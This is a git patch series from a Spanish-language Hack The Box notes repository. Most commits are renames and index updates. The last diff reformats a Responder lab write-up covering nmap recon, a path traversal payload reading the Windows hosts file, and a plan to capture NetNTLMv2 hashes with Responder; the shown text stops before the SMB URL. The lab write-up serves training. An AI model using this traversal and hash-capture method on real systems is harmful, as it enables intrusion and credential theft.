Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:43:38 +0200 Subject: [PATCH 0130/1701] Rename Como conectarse a HTB.md to Como_conectarse_a_HTB.md --- .../Como_conectarse_a_HTB.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Art\303\255culos/Como conectarse a HTB.md" => "Art\303\255culos/Como_conectarse_a_HTB.md" (100%) diff --git "a/Art\303\255culos/Como conectarse a HTB.md" "b/Art\303\255culos/Como_conectarse_a_HTB.md" similarity index 100% rename from "Art\303\255culos/Como conectarse a HTB.md" rename to "Art\303\255culos/Como_conectarse_a_HTB.md" From 1e14cb23c6661d677ee9b8bee152ca0e3d4c1397 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:44:20 +0200 Subject: [PATCH 0131/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 9f4b5c45eb3..c20877032f0 100644 --- a/index.md +++ b/index.md @@ -13,7 +13,7 @@ [Fase de Reconocimiento - HTB](./Artículos/Fase_de_reconocimiento-HTB.html) -[¿Como conectarse a Htb?](./Artículos/Como conectarse a HTB.html) +[¿Como conectarse a Htb?](./Artículos/Como_conectarse_a_HTB.html) --- From 647a0b8a52bb6ba0eb7a3b6cba4420935a45dc0a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:49:35 +0200 Subject: [PATCH 0132/1701] Rename ExtractPorts.md to Herramientas_y_Scripts/ExtractPorts.md --- ExtractPorts.md => Herramientas_y_Scripts/ExtractPorts.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename ExtractPorts.md => Herramientas_y_Scripts/ExtractPorts.md (100%) diff --git a/ExtractPorts.md b/Herramientas_y_Scripts/ExtractPorts.md similarity index 100% rename from ExtractPorts.md rename to Herramientas_y_Scripts/ExtractPorts.md From c6f45c02606b983639b21ac8c4b375a4a096b3c0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:49:55 +0200 Subject: [PATCH 0133/1701] Rename Hash-Identifier.md to Herramientas_y_Scripts/Hash-Identifier.md --- Hash-Identifier.md => Herramientas_y_Scripts/Hash-Identifier.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Hash-Identifier.md => Herramientas_y_Scripts/Hash-Identifier.md (100%) diff --git a/Hash-Identifier.md b/Herramientas_y_Scripts/Hash-Identifier.md similarity index 100% rename from Hash-Identifier.md rename to Herramientas_y_Scripts/Hash-Identifier.md From 46ddb59b6cbff1a529d63992dc4902a648a3c258 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:50:19 +0200 Subject: [PATCH 0134/1701] Rename HashCat.md to Herramientas_y_Scripts/HashCat.md --- HashCat.md => Herramientas_y_Scripts/HashCat.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename HashCat.md => Herramientas_y_Scripts/HashCat.md (100%) diff --git a/HashCat.md b/Herramientas_y_Scripts/HashCat.md similarity index 100% rename from HashCat.md rename to Herramientas_y_Scripts/HashCat.md From 4a8b7c30561b4e1af633b42ec56c6eb861a484a0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:50:45 +0200 Subject: [PATCH 0135/1701] Rename HashId.md to Herramientas_y_Scripts/HashId.md --- HashId.md => Herramientas_y_Scripts/HashId.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename HashId.md => Herramientas_y_Scripts/HashId.md (100%) diff --git a/HashId.md b/Herramientas_y_Scripts/HashId.md similarity index 100% rename from HashId.md rename to Herramientas_y_Scripts/HashId.md From 84fe3423a7e184ba48ae0f777ec4812e49f24f85 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:51:16 +0200 Subject: [PATCH 0136/1701] Rename SQLmap.md to Herramientas_y_Scripts/SQLmap.md --- SQLmap.md => Herramientas_y_Scripts/SQLmap.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename SQLmap.md => Herramientas_y_Scripts/SQLmap.md (100%) diff --git a/SQLmap.md b/Herramientas_y_Scripts/SQLmap.md similarity index 100% rename from SQLmap.md rename to Herramientas_y_Scripts/SQLmap.md From 4a6bc955c2b7bc3352e13017e72610d7f8f97c35 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:51:45 +0200 Subject: [PATCH 0137/1701] Rename john_the_ripper.md to Herramientas_y_Scripts/john_the_ripper.md --- john_the_ripper.md => Herramientas_y_Scripts/john_the_ripper.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename john_the_ripper.md => Herramientas_y_Scripts/john_the_ripper.md (100%) diff --git a/john_the_ripper.md b/Herramientas_y_Scripts/john_the_ripper.md similarity index 100% rename from john_the_ripper.md rename to Herramientas_y_Scripts/john_the_ripper.md From ea907dce7d047c2cd0c4610c5e01bd2f0f24aa52 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:52:12 +0200 Subject: [PATCH 0138/1701] Rename php-reverse-shell.md to Herramientas_y_Scripts/php-reverse-shell.md --- .../php-reverse-shell.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename php-reverse-shell.md => Herramientas_y_Scripts/php-reverse-shell.md (100%) diff --git a/php-reverse-shell.md b/Herramientas_y_Scripts/php-reverse-shell.md similarity index 100% rename from php-reverse-shell.md rename to Herramientas_y_Scripts/php-reverse-shell.md From 69266a5072f2a1486a266c9c8497ba13461bcddc Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:52:52 +0200 Subject: [PATCH 0139/1701] Rename Wfuzz.md to Herramientas_y_Scripts/Wfuzz.md --- Wfuzz.md => Herramientas_y_Scripts/Wfuzz.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Wfuzz.md => Herramientas_y_Scripts/Wfuzz.md (100%) diff --git a/Wfuzz.md b/Herramientas_y_Scripts/Wfuzz.md similarity index 100% rename from Wfuzz.md rename to Herramientas_y_Scripts/Wfuzz.md From 62a5c3ae486c7a9749a52ffc643a6ab07ed90525 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:53:17 +0200 Subject: [PATCH 0140/1701] Rename WPScan.md to Herramientas_y_Scripts/WPScan.md --- WPScan.md => Herramientas_y_Scripts/WPScan.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename WPScan.md => Herramientas_y_Scripts/WPScan.md (100%) diff --git a/WPScan.md b/Herramientas_y_Scripts/WPScan.md similarity index 100% rename from WPScan.md rename to Herramientas_y_Scripts/WPScan.md From 0ca77bd24c5ed0e12a02553888029d9c2d068eb3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:53:40 +0200 Subject: [PATCH 0141/1701] Rename WichSystem.md to Herramientas_y_Scripts/WichSystem.md --- WichSystem.md => Herramientas_y_Scripts/WichSystem.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename WichSystem.md => Herramientas_y_Scripts/WichSystem.md (100%) diff --git a/WichSystem.md b/Herramientas_y_Scripts/WichSystem.md similarity index 100% rename from WichSystem.md rename to Herramientas_y_Scripts/WichSystem.md From ab65db47bf67f291ae01a2978dda59346245a1cc Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:56:07 +0200 Subject: [PATCH 0142/1701] Update index.md --- index.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/index.md b/index.md index c20877032f0..d3d2ab9b649 100644 --- a/index.md +++ b/index.md @@ -22,36 +22,36 @@ ## Reporte y reconocimiento: Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos. -1.[WichSystem](./WichSystem.html) -2.[ExtractPorts](./ExtractPorts.html) +1.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) +2.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) ## Shells: Herramientas para crear shells inversas. -[php-reverse-shell.php](./php-reverse-shell.html) +[php-reverse-shell.php](./Herramientas_y_Scripts/php-reverse-shell.html) ## Hash: Herramientas de reconocimiento y des encriptación de hash. -1.[John the Ripper](./john_the_ripper.html) -2.[HashID](./HashId.html) -3.[Hash Identifier](./Hash-Identifier.html) -4.[HashCat](./HashCat.html) +1.[John the Ripper](./Herramientas_y_Scripts/john_the_ripper.html) +2.[HashID](./Herramientas_y_Scripts/HashId.html) +3.[Hash Identifier](./Herramientas_y_Scripts/Hash-Identifier.html) +4.[HashCat](./Herramientas_y_Scripts/HashCat.html) ## Fuzzing: Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que implica proporcionar datos inválidos, inesperados o aleatorios a las entradas de un programa de ordenador. Entonces se monitorizan las excepciones tales como caídas, aserciones de código erróneas, o para encontrar potenciales filtraciones de memoria. -[Wfuzz](./Wfuzz.html) +[Wfuzz](./Herramientas_y_Scripts/Wfuzz.html) ## WordPress: Escaneo de vulnerabilidades en páginas WordPress. -[WPScan](./WPScan.html) +[WPScan](./Herramientas_y_Scripts/WPScan.html) ## SQL: -[SQLmap](./SQLmap.html) +[SQLmap](./Herramientas_y_Scripts/SQLmap.html) From 523017d2208b92492a45b300fb42c05a078a7977 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:57:25 +0200 Subject: [PATCH 0143/1701] Rename Aria2 to Linux/Programas_para_Linux/Aria2 --- Aria2 => Linux/Programas_para_Linux/Aria2 | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Aria2 => Linux/Programas_para_Linux/Aria2 (100%) diff --git a/Aria2 b/Linux/Programas_para_Linux/Aria2 similarity index 100% rename from Aria2 rename to Linux/Programas_para_Linux/Aria2 From 198ea691cc205a58def7156be082b0a96c07d0f4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:58:47 +0200 Subject: [PATCH 0144/1701] =?UTF-8?q?Create=20Introducci=C3=B3n=5Fa=5FLinu?= =?UTF-8?q?x.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" | 1 + 1 file changed, 1 insertion(+) create mode 100644 "Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" diff --git "a/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" "b/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" new file mode 100644 index 00000000000..8b137891791 --- /dev/null +++ "b/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" @@ -0,0 +1 @@ + From f2429904b590a3f892271a46ae6b308fa1063447 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:07:00 +0200 Subject: [PATCH 0145/1701] Update HTB-Oopsie.md --- Starting Point/HTB-Oopsie.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Starting Point/HTB-Oopsie.md b/Starting Point/HTB-Oopsie.md index d36388f355f..789e3b6f270 100644 --- a/Starting Point/HTB-Oopsie.md +++ b/Starting Point/HTB-Oopsie.md @@ -27,7 +27,7 @@ En primer lugar, vamos a comprobar si tenemos conexión nuestro directorio mediante la herramienta 'extractPorts'. Puedes encontrar la descripción y la herramienta extractPorts - creada por S4vitar en mi repositorio: [ExtractPorts](https://f1r0x.github.io/ExtractPorts.html) + creada por S4vitar en mi repositorio: [ExtractPorts](https://f1r0x.github.io/Herramientas_y_Scripts/ExtractPorts.html) Es este caso podemos observar los siguientes puertos abiertos por el protocolo TCP: @@ -224,7 +224,7 @@ configurar con nuestros datos nuestra reverse-shell. Es importante copiar el arc ya que será difícil buscar nuestro archivo desde la página de Uploads a la hora de subirlo. En caso de no tener el archivo php-reverse-shelll.php en vuestro sistema, lo podéis encontrar en mi repositorio -de GitHub mediante el siguiente enlace: https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php +de GitHub mediante el siguiente enlace: [https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php](./https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php) Para tenerlo, simplemente lo copiáis, abrís una terminal y crearemos el archivo mediante nano: @@ -325,7 +325,7 @@ Para instalarlo simplemente ejecutamos: Para descargar o copiar: - https://gist.github.com/sl4v/c087e36164e74233514b + [https://gist.github.com/sl4v/c087e36164e74233514b](./https://gist.github.com/sl4v/c087e36164e74233514b) En ese enlace encontraréis la biblioteca que vamos a utilizar, yo recomiendo instalarlo en el siguiente directorio, si el directorio no existe crearlo.: From bd562dfba25375ef19b25c706b593a4eb38d0015 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 17:22:58 +0200 Subject: [PATCH 0146/1701] Update HTB-Responder.md --- Starting Point/HTB-Responder.md | 191 +++++++++++++------------------- 1 file changed, 80 insertions(+), 111 deletions(-) diff --git a/Starting Point/HTB-Responder.md b/Starting Point/HTB-Responder.md index 4233a355bb6..da7ae2a31f5 100644 --- a/Starting Point/HTB-Responder.md +++ b/Starting Point/HTB-Responder.md @@ -4,23 +4,18 @@ # HTB-RESPONDER Resolución de la starting_point de HTB Responder. -En primer lugar debemos asegurar que estamos conectados -a la víctima y tratar de recopilar la máxima información -posible. +En primer lugar debemos asegurar que estamos conectados a la víctima y tratar de recopilar la máxima información posible. -# PING +## PING - Para verificar la conexión y tener una primera toma de - contacto utilizaremos el comando 'ping'. +Para verificar la conexión y tener una primera toma de contacto utilizaremos el comando `ping`. - ping [Ip Víctima] + ping [Ip Víctima] - Mediante este comando podemos obterner la siguiente - información: +Mediante este comando podemos obterner la siguiente información: - Verificar la conexión. - - La latencia. Podemos observar el tiempo de recorrido - de un paquete. + - La latencia. Podemos observar el tiempo de recorrido de un paquete. - Podemos optener la Ip de un dominio. - Determinar si estamos frente a un SO Linux o Windows: Windows ttl = 128 @@ -28,44 +23,36 @@ posible. ![Captura de pantalla -2022-04-11 18-56-44](https://user-images.githubusercontent.com/103068924/162793073-6d60a6aa-c01b-4b66-b42b-f835402cd39d.png) -Como podemos ver tenemos conexión ya que nos devuelve los -paquetes enviados y tambien podemos determinar que estamos -frente a una máquina Windows, ya que nos muestra un ttl=127. +Como podemos ver tenemos conexión ya que nos devuelve los paquetes enviados y tambien podemos determinar que estamos frente a una máquina Windows, ya +que nos muestra un ttl=127. -# NMAP +## NMAP -Tras conocer la máquina a la que nos enfrentamos -pasaremos analizar los protocolos tcp/udp. +Tras conocer la máquina a la que nos enfrentamos pasaremos analizar los protocolos tcp/udp. -Primero analizaremos lo puertos tcp ya que son los más -utilizados y los más rápidos de escanear. +Primero analizaremos lo puertos tcp ya que son los más utilizados y los más rápidos de escanear. -Mediante nmap realizaremos varios escaneos, el primero -será un analisis de todos los puertos abiertos del -protocolo tcp. +Mediante nmap realizaremos varios escaneos, el primero será un analisis de todos los puertos abiertos del protocolo tcp. ![Captura de pantalla -2022-04-11 18-58-03](https://user-images.githubusercontent.com/103068924/162793045-8827ee25-bc83-44b0-8bb9-1c35eded3f38.png) - nmap -p- --open -T5 -v -n [Ip Víctima] -oG allPorts + nmap -p- --open -T5 -v -n [Ip Víctima] -oG allPorts - -p- : Escanea todo el rango de puertos. + -p- : Escanea todo el rango de puertos. - --open : Solo nos mostrará puertos con el estatus abierto. + --open : Solo nos mostrará puertos con el estatus abierto. - -T5 : Controla el tiempo y el rendimiento del escaneo donde 1 es el más - lento y 5 el más rápido. + -T5 : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. - -v : Verbose. Recopila los puertos abiertos por TCP y los reporta por - consola. + -v : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. - -n : Anula la resolución DNS. + -n : Anula la resolución DNS. - -oG : Nos exporta los resultados en formato grepeable. + -oG : Nos exporta los resultados en formato grepeable. allPorts : Es el archivo donde se guardan los resultados. - Gracias a la función 'extractPorts' podremos acceder en cualquier momento - a los resultados guardados en el archivo 'allPorts' y poder copiar y pegar + Gracias a la función `extractPorts` podremos acceder en cualquier momento a los resultados guardados en el archivo `allPorts` y poder copiar y pegar de forma ráìda sin tener que volver a realizar el escaneo. Podreís encontrar la función 'extractPorts' en mi repositorio. @@ -74,10 +61,8 @@ protocolo tcp. ![nmap2-HTB-REsponder](https://user-images.githubusercontent.com/103068924/162617839-1d17489e-72a4-4ecd-af53-da7447481361.png) -Podemos ver como nos muestra tres puertos abiertos. Tras conocer los puertos -TCP abiertos, realizaremos un segundo escaneo enfocado solo en los puertos -abiertos para verla información que nos reportan y exportarlo en formato -nmap al archivo 'targed'. +Podemos ver como nos muestra tres puertos abiertos. Tras conocer los puertos TCP abiertos, realizaremos un segundo escaneo enfocado solo en los puertos +abiertos para verla información que nos reportan y exportarlo en formato nmap al archivo `targed`. ![Captura de pantalla -2022-04-11 19-01-25](https://user-images.githubusercontent.com/103068924/162792939-c44ed297-d464-4c6c-bc52-c65dabaa83d0.png) @@ -97,10 +82,9 @@ Ya tenemos un poco más de información, podemos ver como el puerto 80 tiene un Vamos a tratar de comprobar en el navegador si podemos acceder algún dominio mediante la ip de la máquina. -Para ello nos dirigiremos al navegador (en mi caso firefox) y al tratarse de un sevicio http -introduciremos la siguiente url: +Para ello nos dirigiremos al navegador (en mi caso firefox) y al tratarse de un sevicio http introduciremos la siguiente url: - http://[Ip Víctima] + http://[Ip Víctima] ![Captura de pantalla -2022-04-11 19-20-45](https://user-images.githubusercontent.com/103068924/162795151-ad70832b-42d8-4e45-96ce-f0ce3dce181d.png) @@ -108,20 +92,17 @@ introduciremos la siguiente url: ![Captura de pantalla -2022-04-08 09-54-10](https://user-images.githubusercontent.com/103068924/162796155-5962787f-1619-437a-bc8c-8c5b365ff4dc.png) -Como podemos ver, la dirección no nos carga, pero al fijarnos en la url vemos que nos redirige -a una página llamada 'unika.htb'. Tener en cuenta que firefox al no poder cargar la página en -http automáticamente cambia a https para tambien tratar de cargar. Por eso que en firefox al tratar +Como podemos ver, la dirección no nos carga, pero al fijarnos en la url vemos que nos redirige a una página llamada 'unika.htb'. Tener en cuenta que +firefox al no poder cargar la página en http automáticamente cambia a https para tambien tratar de cargar. Por eso que en firefox al tratar de cargar la página finalmente nos muestra https pero la página a la que tenemos que acceder es: - http://unika.htb + http://unika.htb -Al igual que en máquinas anteriores, vamos a tratar de introducir los datos del dominio en nuestra -carpeta de hosts para ver si podemos cargar la paǵina. +Al igual que en máquinas anteriores, vamos a tratar de introducir los datos del dominio en nuestra carpeta de hosts para ver si podemos cargar la paǵina. -Para ello nos dirigiremos al directorio '/etc/hosts' y introduciremos la Ip de la vítima y el host -al que corresponde: +Para ello nos dirigiremos al directorio '/etc/hosts' y introduciremos la Ip de la vítima y el host al que corresponde: - sudo nano /etc/hosts + sudo nano /etc/hosts ![Captura de pantalla -2022-04-11 19-39-18](https://user-images.githubusercontent.com/103068924/162798184-53e76dbb-ed24-4b98-9729-efc9b04efa3b.png) @@ -133,82 +114,73 @@ Guardamos: Cntrl + o Salimos: Cntrl + x -Una vez terminado esto, regresamos a nuestro navegador y tratamos de recargar la página http://unika.htb. +Una vez terminado esto, regresamos a nuestro navegador y tratamos de recargar la página `http://unika.htb`. ![Captura de pantalla -2022-04-08 10-20-23](https://user-images.githubusercontent.com/103068924/162798526-041b6223-048d-43d7-a4bf-3610c6f95e71.png) Genial, ya tenemos acceso a la página. Como podemos ver, se trata de una empresa de diseño y estetica web. Ahora vamos a tratar de revisar la página para buscar algo que nos pueda servir. -Despues de estar un rato revisando la página veo que la unica pestaña que parece hacer algo es la EN, que -nos ofrece poder cambiar de idioma. +Despues de estar un rato revisando la página veo que la unica pestaña que parece hacer algo es la EN, que nos ofrece poder cambiar de idioma. ![Captura de pantalla -2022-04-11 20-09-20](https://user-images.githubusercontent.com/103068924/162803508-7136d632-8a13-4123-98f1-47d6375ed705.png) -Al cambiar al frances (FR) o al alemán (DE), algo interesante es que -la página cambia de url y nos redirige a una página html (más vulnerable). +Al cambiar al frances (FR) o al alemán (DE), algo interesante es que la página cambia de url y nos redirige a una página html (más vulnerable). ![Captura de pantalla -2022-04-11 20-15-17](https://user-images.githubusercontent.com/103068924/162803532-ac1ae87d-fcb3-4f96-aafc-ecc2a8c9306a.png) -Los sitios web dinámicos incluyen páginas HTML sobre la marcha utilizando información de la solicitud -HTTP para incluir parámetros GET y POST, cookies y otras variables. Es común que una página 'incluya' -otra página en función de algunos de estos parámetros. +Los sitios web dinámicos incluyen páginas HTML sobre la marcha utilizando información de la solicitud HTTP para incluir parámetros GET y POST, cookies +y otras variables. Es común que una página incluya otra página en función de algunos de estos parámetros. Para tratar de acceder al sistema, vamos a utilizar una tecnica conocida como Local Fail Intrusion LFI. -# Local Fail Intrusion +## Local Fail Intrusion -Un local fail intrusion (inclusión de archivos locales) ocurre cuando un atacante puede hacer que un sitio -web incluya un archivo que posteriormente utilizará en su beneficio. +Un local fail intrusion (inclusión de archivos locales) ocurre cuando un atacante puede hacer que un sitio web incluya un archivo que posteriormente +utilizará en su beneficio. -Si la aplicación trata esta entrada como confiable y no se realizan las comprobaciones de seguridad requeridas -en esta entrada, entonces el atacante puede explotarla usando la cadena ../ en el nombre de la página ingresada -y eventualmente ver los archivos confidenciales en el sistema de archivos local. +Si la aplicación trata esta entrada como confiable y no se realizan las comprobaciones de seguridad requeridas en esta entrada, entonces el atacante +puede explotarla usando la cadena ../ en el nombre de la página ingresada y eventualmente ver los archivos confidenciales en el sistema de archivos +local. -La cadena ../ se usa para recorrer un directorio hacia atras, uno a la vez. Por lo tanto, se -incluyen varias cadenas ../ en la URL para que el controlador de archivos en el servidor vuelva -al directorio base, es decir, C:. +La cadena `../` se usa para recorrer un directorio hacia atras, uno a la vez. Por lo tanto, se incluyen varias cadenas `../` en la URL para que el +controlador de archivos en el servidor vuelva al directorio base, es decir, `C:`. -Luego, cargaremos un archivo remoto en el host proporcionandole un nombre comun en windows para que -el sistema no pueda detectarlo como malicioso. +Luego, cargaremos un archivo remoto en el host proporcionandole un nombre comun en windows para que el sistema no pueda detectarlo como malicioso. -Uno de los archivos más comunes a los que un probador de penetración podría intentar acceder en una -máquina con Windows para verificar LFI es el archivo de 'hosts'. +Uno de los archivos más comunes a los que un probador de penetración podría intentar acceder en una máquina con Windows para verificar LFI es el +archivo de 'hosts'. - WINDOWS/System32/drivers/etc/hosts + WINDOWS/System32/drivers/etc/hosts (Este archivo ayuda en la traducción local de nombres de host a direcciones IP). -En nuestro caso vemos que al cambiar de idioma al frances (FR) se nos muestra una 'page=' en la -url. Aquí es donde mediante la cadena ../ retrocederemos hasta el directorio inicial y luego -nos dirigiremos al archivo 'hosts'. Para ello introduciremos las siguientes ordenes en la url. +En nuestro caso vemos que al cambiar de idioma al frances (FR) se nos muestra una `page=` en la url. Aquí es donde mediante la cadena `../` +retrocederemos hasta el directorio inicial y luego nos dirigiremos al archivo `hosts`. Para ello introduciremos las siguientes ordenes en la url. - http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts + http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts ![Captura de pantalla -2022-04-11 21-38-44](https://user-images.githubusercontent.com/103068924/162816667-ebe0d677-98bc-43bf-8470-ad7a6f6383ad.png) -Como se puede ver, el Local File Inclusion es posible ya que podemos ver el contenido del archivo 'host' en -situado en el directorio C:/windows/system32/drivers/etc/hosts +Como se puede ver, el Local File Inclusion es posible ya que podemos ver el contenido del archivo `host` en situado en el directorio +`C:/windows/system32/drivers/etc/hosts`. ![Captura de pantalla -2022-04-11 21-33-58](https://user-images.githubusercontent.com/103068924/162816016-aa5b7b18-5f76-497a-82f3-ea4a9cb5211e.png) -Esto es posible porque en el backend se usa el método 'include()' de PHP para añadir las URL de las página web -de otros idiomas. Y debido a que no se realiza una desinfección adecuada en este parámetro, pudimos pasar -entradas maliciosas y ver los archivos internos del sistema. +Esto es posible porque en el backend se usa el método 'include()' de PHP para añadir las URL de las página web de otros idiomas. Y debido a que no se +realiza una desinfección adecuada en este parámetro, pudimos pasar entradas maliciosas y ver los archivos internos del sistema. -# Include() +## Include() -El metodo 'include() en php, toma todo el texto/código/marcado que existe en el archivo especificado y lo carga -en la memoria, haciéndolo disponible para su uso. +El metodo `include()` en php, toma todo el texto/código/marcado que existe en el archivo especificado y lo carga en la memoria, haciéndolo disponible +para su uso. -Sabemos que esta página web es vulnerable a la vulnerabilidad de inclusión de archivos y se sirve -en un máquina de ventanas. Por lo tanto, existe la posibilidad de incluir un archivo en la estación -de trabajo de nuestro atacante. +Sabemos que esta página web es vulnerable a la vulnerabilidad de inclusión de archivos y se sirve ben un máquina de ventanas. Por lo tanto, existe la +posibilidad de incluir un archivo en la estación de trabajo de nuestro atacante. -Podemos utilizar un protocolo como SMB para que Windows intente autenticarse en nuestra máquina y -poder capturar el NetNTLMv2. +Podemos utilizar un protocolo como SMB para que Windows intente autenticarse en nuestra máquina y poder capturar el `NetNTLMv2`. -# NTLM +## NTLM NTLM es una colección de protocolos de autenticación creados por Microsoft. @@ -226,18 +198,18 @@ El proceso de autenticación NTLM se realiza de la siguiente manera: para cifrar la cadena de desafío. Luego, el valor se compara con el valor recibido del cliente. Si los valores coinciden, el cliente se autentica. - En el archivo de configuración 'php.ini' de la maquina, si 'allow_url_include' está configurado en 'Desactivado' + En el archivo de configuración `php.ini` de la maquina, si `allow_url_include` está configurado en `Desactivado` de forma predeterminada indica que PHP no carga URL HTTP o FTP remotas para evitar ataques de inclusión de archivos remotos. - Sin embargo, incluso si allow_url_include y allow_url_fopen están configurados en 'Off', PHP no impedirá + Sin embargo, incluso si allow_url_include y allow_url_fopen están configurados en `Off`, PHP no impedirá la carga de URL de SMB. En nuestro caso, podemos hacer un mal uso de esta funcionalidad para robar el hash NTLM. Ahora, podemos intentar cargar una URL de SMB y capturar los valores hash del objetivo mediante 'Responder'. - # Herramienta Responder +## Herramienta Responder Responder es una herramienta que puede realizar muchos tipos diferentes de ataques, pero para este escenario, configurará un servidor SMB malicioso. @@ -250,45 +222,42 @@ El proceso de autenticación NTLM se realiza de la siguiente manera: Si bien no podemos revertir NetNTLMv2, podemos probar muchas contraseñas comunes diferentes para ver si alguna genera la misma respuesta de desafío y, si encontramos una, sabemos que esa es la contraseña. - Esto a menudo se conoce como descifrado de hash, lo que haremos con un programa llamado John The Ripper. + Esto a menudo se conoce como descifrado de hash, lo que haremos con un programa llamado `John The Ripper`. - Primero nos clonaremos el repositorio de la herramienta Responder del siguiente repositorio: + Primero nos clonaremos el repositorio de la herramienta Responder del siguiente repositorio: - sudo git clone https://github.com/SpiderLabs/Responder + sudo git clone https://github.com/SpiderLabs/Responder ![Captura de pantalla -2022-04-11 22-28-50](https://user-images.githubusercontent.com/103068924/162826505-7365e10f-5098-48a6-9442-97f614dfd888.png) - Recordar que el repositorio 'Responder' se clonara el directorio en el que nos encontremos. - Ahora podemos ver como dentro del directorio 'Responder' se han clonado los siguientes - archivos: + Recordar que el repositorio `Responder` se clonara el directorio en el que nos encontremos. + Ahora podemos ver como dentro del directorio 'Responder' se han clonado los siguientes archivos: ![Captura de pantalla -2022-04-11 22-31-04](https://user-images.githubusercontent.com/103068924/162827046-93ba9dfa-fbe9-4396-bbaa-af556f168f95.png) Ahora vamosa a comprobar que en archivo 'Responder.conf' tenemos configurados los parametros de escucha SQL y SMB en On. Para ver el archivo podemos utilizar el comando 'cat' y para modificarlo el comando 'nano'. - nano Responder.conf + nano Responder.conf ![Captura de pantalla -2022-04-11 22-45-54](https://user-images.githubusercontent.com/103068924/162829073-13d21638-c3a8-4f37-a686-eec04a244055.png) En caso de estar en modo off lo cambiamos al on, guardamos (Cntrl + o) y salimos (Cntrl + x). - Ya tendriamos la herramienta Responder preparada. Ahora debemos iniciar Responder con python3 - y utilizar el indicado -I para activar el modo escucha. + Ya tendriamos la herramienta Responder preparada. Ahora debemos iniciar Responder con python3 y utilizar el indicado `-I` para activar el modo escucha. - sudo python3 Responder.py -I tun0 + sudo python3 Responder.py -I tun0 ![Captura de pantalla -2022-04-11 22-58-20](https://user-images.githubusercontent.com/103068924/162831086-07194fd6-8afb-40a1-ad6f-1b65af7975be.png) ![Captura de pantalla -2022-04-11 22-59-03](https://user-images.githubusercontent.com/103068924/162831102-c08c5c76-bac8-4c54-821b-466124bfd0eb.png) - Una vez tenemos el Responder listo y en escucha, debemos configurar un parámetro dentro del servidor de la - máquina para que incluya un recurso de nuestro servidor SMB. + Una vez tenemos el Responder listo y en escucha, debemos configurar un parámetro dentro del servidor de la máquina para que incluya un recurso de + nuestro servidor SMB. - Este parámetro lo configuraremos mediante el navegador web. Para ello incluiremos nuestra ip (tun0) lo cual - podemos ver mediante el comando 'ifconfig'. + Este parámetro lo configuraremos mediante el navegador web. Para ello incluiremos nuestra ip (tun0) lo cual podemos ver mediante el comando `ifconfig`. - 